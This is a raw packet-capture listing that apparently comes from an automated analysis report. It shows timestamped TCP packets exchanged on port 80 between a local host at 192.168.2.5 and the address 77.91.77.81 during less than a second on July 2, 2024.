Jul 2, 2024 04:13:05.655953884 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.656158924 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.656203032 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.656270981 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.656280994 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.656291008 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.656301975 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.656310081 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.656311989 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.656327009 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.656333923 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.656349897 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.656372070 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.656516075 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.656526089 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.656534910 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.656543970 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.656548977 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.656558990 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.656558990 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.656570911 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.656579971 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.656583071 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.656600952 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.656615019 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.656723022 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.656733036 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.656743050 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.656755924 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.656764984 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.656769037 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.656779051 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.656788111 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.656791925 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.656814098 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.656832933 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.656863928 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.656874895 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.656883955 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.656893969 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.656905890 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.656905890 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.656914949 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.656919003 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.656925917 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.656960011 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.657064915 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.657078028 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.657093048 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.657108068 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.657118082 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.657119036 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.657126904 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.657136917 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.657140970 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.657147884 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.657160044 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.657167912 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.657170057 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.657181025 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.657192945 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.657193899 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.657202005 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.657207012 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.657213926 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.657224894 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.657231092 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.657236099 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.657244921 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.657254934 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.657258034 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.657269955 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.657272100 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.657280922 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.657294035 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.657319069 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.683267117 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.683326960 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.683331013 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.683336020 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.683346033 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.683357000 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.683372974 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.683381081 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.683392048 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.683397055 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.683403969 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.683413982 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.683419943 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.683434010 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.683439016 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.683444977 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.683455944 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.683463097 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.683468103 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.683479071 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.683485031 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.683490038 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.683507919 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.683523893 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.721175909 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.721204996 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.721220970 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.721231937 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.721235037 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.721241951 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.721256018 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.721261024 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.721276999 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.721277952 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.721288919 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.721299887 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.721307993 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.721321106 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.721329927 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.721330881 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.721343040 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.721350908 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.721369982 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.721380949 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.721393108 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.721393108 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.721426010 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.721429110 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.721443892 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.721453905 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.721479893 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.721487045 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.721550941 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.721561909 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.721571922 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.721581936 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.721601963 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.721618891 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.749758005 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.749771118 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.749780893 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.749785900 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.749792099 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.749805927 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.749816895 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.749854088 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.749854088 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.750328064 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.750380039 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.750394106 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.750402927 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.750433922 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.750443935 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.750519991 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.750530958 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.750570059 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.750603914 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.750613928 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.750623941 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.750652075 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.750663042 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.750670910 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.750694990 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.750694990 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.750706911 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.750724077 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.750735044 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.750744104 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.750756979 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.750766039 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.750775099 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.750775099 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.750792980 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.750802994 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.750813961 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.750823975 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.750843048 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.750843048 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.750852108 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.750884056 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.750901937 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.750910997 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.750920057 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.750931025 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.750941992 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.750961065 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.750968933 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.750971079 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.750979900 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.750992060 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.750993967 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.751002073 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.751015902 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.751025915 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.751034975 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.751039028 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.751048088 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.751059055 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.751068115 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.751068115 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.751079082 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.751091003 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.751094103 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.751099110 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.751102924 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.751133919 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.751144886 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.751153946 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.751164913 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.751168013 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.751178026 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.751187086 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.751188993 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.751199961 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.751204967 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.751213074 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.751244068 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.751316071 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.751327038 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.751369953 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.751380920 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.751390934 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.751399994 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.751429081 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.751455069 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.751466036 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.751466990 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.751477003 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.751487970 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.751501083 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.751530886 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.751629114 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.751638889 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.751648903 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.751661062 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.751673937 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.751684904 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.751701117 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.751708984 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.751718044 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.751730919 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.751749039 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.751754045 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.751760006 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.751765966 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.751770020 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.751780987 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.751782894 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.751791000 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.751801968 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.751811981 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.751812935 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.751846075 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.751852036 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.751852989 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.751863003 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.751873970 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.751884937 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.751884937 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.751895905 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.751899004 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.751910925 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.751923084 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.751923084 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.751930952 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.751970053 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.777796984 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.777873993 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.778471947 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.778486967 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.778496981 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.778508902 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.778518915 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.778531075 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.778532982 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.778532982 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.778537035 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.778549910 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.778557062 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.778559923 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.778570890 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.778582096 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.778583050 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.778594971 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.778604984 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.778608084 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.778611898 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.778636932 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.778657913 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.816215038 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.816231012 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.816241980 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.816267967 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.816288948 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.816303968 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.816314936 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.816324949 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.816337109 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.816349030 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.816353083 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.816359997 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.816366911 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.816384077 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.816410065 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.816437006 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.816476107 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.816515923 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.816525936 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.816555023 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.816566944 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.816668987 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.816679001 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.816690922 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.816700935 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.816724062 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.816787958 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.816801071 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.816812038 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.816822052 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.816837072 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.816844940 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.816853046 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.816864014 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.816885948 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.816905975 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.816916943 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.816927910 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.816960096 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.816970110 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.844367027 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.844391108 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.844403982 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.844414949 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.844422102 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.844434023 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.844441891 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.844444036 CEST	54802	80	192.168.2.5	77.91.77.81
